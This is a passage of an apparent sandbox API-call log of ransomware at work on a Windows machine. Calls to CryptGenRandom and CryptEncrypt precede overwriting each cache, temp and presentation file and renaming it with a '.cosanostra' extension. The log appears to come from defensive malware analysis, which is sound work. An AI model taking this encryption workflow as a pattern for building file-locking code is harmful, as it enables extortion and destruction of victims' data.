HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21.cosanostra") returned 162 [0103.402] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\705a76de71ea2caebb8f0907449ce086_9752c5b2d53ee7a19f7764b52968ec21"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\705a76de71ea2caebb8f0907449ce086_9752c5b2d53ee7a19f7764b52968ec21.cosanostra")) returned 1 [0103.403] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff220 | out: pbBuffer=0x26ff220) returned 1 [0103.403] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff218*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff218*=0x30) returned 1 [0103.403] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5080dc7a65db6a5960ecd874088f3328_2908f682dfc81a793bd240cf29711c77"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.404] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned 151 [0103.404] StrStrW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpSrch=".txt") returned 0x0 [0103.416] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffd29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.416] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2d7, lpNumberOfBytesWritten=0x26ff1dc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff1dc*=0x2d7, lpOverlapped=0x0) returned 1 [0103.416] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.416] WriteFile (in: hFile=0x180, lpBuffer=0x26ff21c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1dc, lpOverlapped=0x0 | out: lpBuffer=0x26ff21c*, lpNumberOfBytesWritten=0x26ff1dc*=0x4, lpOverlapped=0x0) returned 1 [0103.416] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1dc*=0x30, lpOverlapped=0x0) returned 1 [0103.417] CloseHandle (hObject=0x180) returned 1 [0103.417] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77.cosanostra") returned 162 [0103.417] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5080dc7a65db6a5960ecd874088f3328_2908f682dfc81a793bd240cf29711c77"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5080dc7a65db6a5960ecd874088f3328_2908f682dfc81a793bd240cf29711c77.cosanostra")) returned 1 [0103.418] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff220 | out: pbBuffer=0x26ff220) returned 1 [0103.418] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff218*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff218*=0x30) returned 1 [0103.418] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\3388ecc3f7bc4a9271c10ed8621e5a65_f55c512047947b70f94de5dec6d6838d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.418] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 151 [0103.418] StrStrW (lpFirst="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpSrch=".txt") returned 0x0 [0103.421] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffa75, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.421] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x58b, lpNumberOfBytesWritten=0x26ff1dc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff1dc*=0x58b, lpOverlapped=0x0) returned 1 [0103.421] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.421] WriteFile (in: hFile=0x180, lpBuffer=0x26ff21c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1dc, lpOverlapped=0x0 | out: lpBuffer=0x26ff21c*, lpNumberOfBytesWritten=0x26ff1dc*=0x4, lpOverlapped=0x0) returned 1 [0103.421] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1dc*=0x30, lpOverlapped=0x0) returned 1 [0103.421] CloseHandle (hObject=0x180) returned 1 [0103.421] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D.cosanostra") returned 162 [0103.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\3388ecc3f7bc4a9271c10ed8621e5a65_f55c512047947b70f94de5dec6d6838d"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\3388ecc3f7bc4a9271c10ed8621e5a65_f55c512047947b70f94de5dec6d6838d.cosanostra")) returned 1 [0103.422] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff218 | out: pbBuffer=0x26ff218) returned 1 [0103.422] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff210*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff210*=0x30) returned 1 [0103.422] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\3130b1871a126520a8c47861efe3ed4d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.422] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned 118 [0103.423] StrStrW (lpFirst="3130B1871A126520A8C47861EFE3ED4D", lpSrch=".txt") returned 0x0 [0103.423] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffdf7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.423] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x209, lpNumberOfBytesWritten=0x26ff1d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff1d4*=0x209, lpOverlapped=0x0) returned 1 [0103.423] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.423] WriteFile (in: hFile=0x180, lpBuffer=0x26ff214*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1d4, lpOverlapped=0x0 | out: lpBuffer=0x26ff214*, lpNumberOfBytesWritten=0x26ff1d4*=0x4, lpOverlapped=0x0) returned 1 [0103.423] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1d4*=0x30, lpOverlapped=0x0) returned 1 [0103.425] CloseHandle (hObject=0x180) returned 1 [0103.425] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D.cosanostra") returned 129 [0103.425] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\3130b1871a126520a8c47861efe3ed4d"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\3130b1871a126520a8c47861efe3ed4d.cosanostra")) returned 1 [0103.426] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff218 | out: pbBuffer=0x26ff218) returned 1 [0103.426] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff210*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff210*=0x30) returned 1 [0103.426] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\23b523c9e7746f715d33c6527c18eb9d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.427] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned 118 [0103.427] StrStrW (lpFirst="23B523C9E7746F715D33C6527C18EB9D", lpSrch=".txt") returned 0x0 [0103.428] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffebb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.428] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x26ff1d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff1d4*=0x145, lpOverlapped=0x0) returned 1 [0103.428] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.428] WriteFile (in: hFile=0x180, lpBuffer=0x26ff214*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1d4, lpOverlapped=0x0 | out: lpBuffer=0x26ff214*, lpNumberOfBytesWritten=0x26ff1d4*=0x4, lpOverlapped=0x0) returned 1 [0103.428] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1d4*=0x30, lpOverlapped=0x0) returned 1 [0103.428] CloseHandle (hObject=0x180) returned 1 [0103.428] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D.cosanostra") returned 129 [0103.428] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\23b523c9e7746f715d33c6527c18eb9d"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\23b523c9e7746f715d33c6527c18eb9d.cosanostra")) returned 1 [0103.429] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff210 | out: pbBuffer=0x26ff210) returned 1 [0103.429] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff208*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff208*=0x30) returned 1 [0103.429] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\1daf2884ec4dfa96ba4a58d4dbc9c406"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.476] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 118 [0103.476] StrStrW (lpFirst="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpSrch=".txt") returned 0x0 [0103.510] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff0e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.510] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xf1d, lpNumberOfBytesWritten=0x26ff1cc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff1cc*=0xf1d, lpOverlapped=0x0) returned 1 [0103.510] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.510] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff20c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1cc, lpOverlapped=0x0 | out: lpBuffer=0x26ff20c*, lpNumberOfBytesWritten=0x26ff1cc*=0x4, lpOverlapped=0x0) returned 1 [0103.510] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1cc*=0x30, lpOverlapped=0x0) returned 1 [0103.510] CloseHandle (hObject=0x15c) returned 1 [0103.510] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406.cosanostra") returned 129 [0103.510] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\1daf2884ec4dfa96ba4a58d4dbc9c406"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\1daf2884ec4dfa96ba4a58d4dbc9c406.cosanostra")) returned 1 [0103.511] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff210 | out: pbBuffer=0x26ff210) returned 1 [0103.511] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff208*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff208*=0x30) returned 1 [0103.511] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\xt1rpyg9\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.552] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini") returned 110 [0103.552] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0103.553] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.553] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x26ff1cc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff1cc*=0x43, lpOverlapped=0x0) returned 1 [0103.553] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.553] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff20c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1cc, lpOverlapped=0x0 | out: lpBuffer=0x26ff20c*, lpNumberOfBytesWritten=0x26ff1cc*=0x4, lpOverlapped=0x0) returned 1 [0103.553] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1cc*=0x30, lpOverlapped=0x0) returned 1 [0103.553] CloseHandle (hObject=0x15c) returned 1 [0103.553] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini.cosanostra") returned 121 [0103.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\xt1rpyg9\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\xt1rpyg9\\desktop.ini.cosanostra")) returned 1 [0103.557] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff208 | out: pbBuffer=0x26ff208) returned 1 [0103.557] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff200*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff200*=0x30) returned 1 [0103.557] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PY_YnOJ1.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\py_ynoj1.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.558] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PY_YnOJ1.pptx") returned 66 [0103.558] StrStrW (lpFirst="PY_YnOJ1.pptx", lpSrch=".txt") returned 0x0 [0103.559] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.559] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff1c4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff1c4*=0x2800, lpOverlapped=0x0) returned 1 [0103.559] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.559] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff204*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1c4, lpOverlapped=0x0 | out: lpBuffer=0x26ff204*, lpNumberOfBytesWritten=0x26ff1c4*=0x4, lpOverlapped=0x0) returned 1 [0103.559] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff1c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff1c4*=0x30, lpOverlapped=0x0) returned 1 [0103.559] CloseHandle (hObject=0x15c) returned 1 [0103.559] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PY_YnOJ1.pptx.cosanostra") returned 77 [0103.559] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PY_YnOJ1.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\py_ynoj1.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PY_YnOJ1.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\py_ynoj1.pptx.cosanostra")) returned 1 [0103.560] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff208 | out: pbBuffer=0x26ff208) returned 1 [0103.560] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff200*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff200*=0x30) returned 1 [0103.560] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Oi847Bit.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\oi847bit.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.561] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Oi847Bit.ppt") returned 65 [0103.561] StrStrW (lpFirst="Oi847Bit.ppt", lpSrch=".txt") returned 0x0 [0103.563] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff523, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.563] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xadd, lpNumberOfBytesWritten=0x26ff1c4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff1c4*=0xadd, lpOverlapped=0x0) returned 1 [0103.563] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.563] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff204*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1c4, lpOverlapped=0x0 | out: 